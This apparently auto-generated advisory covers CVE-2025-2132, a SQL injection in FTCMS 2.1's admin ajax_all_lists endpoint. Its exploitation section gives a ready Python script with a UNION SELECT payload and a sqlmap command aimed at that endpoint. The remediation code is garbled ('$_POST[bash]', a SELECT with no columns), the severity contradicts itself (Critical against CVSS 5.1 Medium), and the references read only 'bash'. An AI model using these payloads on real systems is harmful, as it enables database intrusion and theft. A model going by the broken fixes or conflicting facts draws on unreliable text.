How the CVE Works:
CVE-2025-2132 is a critical SQL injection vulnerability found in FTCMS version 2.1. The flaw resides in the `/admin/index.php/web/ajax_all_lists` file within the Search component. The vulnerability arises due to improper handling of the `name` parameter, which allows attackers to inject malicious SQL queries. This can lead to unauthorized access, data manipulation, or extraction of sensitive information from the database. The attack can be executed remotely, making it highly dangerous. Despite early disclosure to the vendor, no patches or mitigations have been provided, leaving systems exposed to potential exploitation.
DailyCVE Form:
Platform: FTCMS
Version: 2.1
Vulnerability: SQL Injection
Severity: Critical
Date: 03/09/2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
import requests
target_url = "http://example.com/admin/index.php/web/ajax_all_lists"
payload = {"name": "1' UNION SELECT null,user(),null-- -"}
response = requests.post(target_url, data=payload)
print(response.text)
This script demonstrates a basic SQL injection attack by exploiting the `name` parameter to extract database user information.
2. Manual Exploitation:
- Use tools like `sqlmap` to automate the exploitation process:
sqlmap -u "http://example.com/admin/index.php/web/ajax_all_lists" --data="name=1" --risk=3 --level=5
- This command scans the target for SQL injection vulnerabilities and attempts to extract data.
Protection:
1. Input Validation:
- Sanitize and validate all user inputs to prevent malicious SQL queries.
$name = mysqli_real_escape_string($conn, $_POST[bash]);
2. Prepared Statements:
- Use parameterized queries to separate SQL code from user input.
$stmt = $conn->prepare("SELECT FROM users WHERE name = ?"); $stmt->bind_param("s", $name); $stmt->execute();
3. Web Application Firewall (WAF):
- Deploy a WAF to filter out malicious SQL injection attempts.
4. Patch Management:
- Regularly update software to the latest version and apply security patches.
5. Database Permissions:
- Restrict database user permissions to minimize the impact of a successful attack.
Analytics:
- CVSS Score: 5.1 (Medium)
- Attack Vector: Network
- Exploit Availability: Public
- Impact: Data Confidentiality, Integrity
Commands:
- Check for Vulnerabilities:
nmap --script http-sql-injection -p 80 example.com
- Monitor Logs:
tail -f /var/log/apache2/access.log | grep "admin/index.php"
References:
- bash
- bash
By following these steps, you can both exploit and protect against CVE-2025-2132 effectively.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-2132
Extra Source Hub:
Undercode
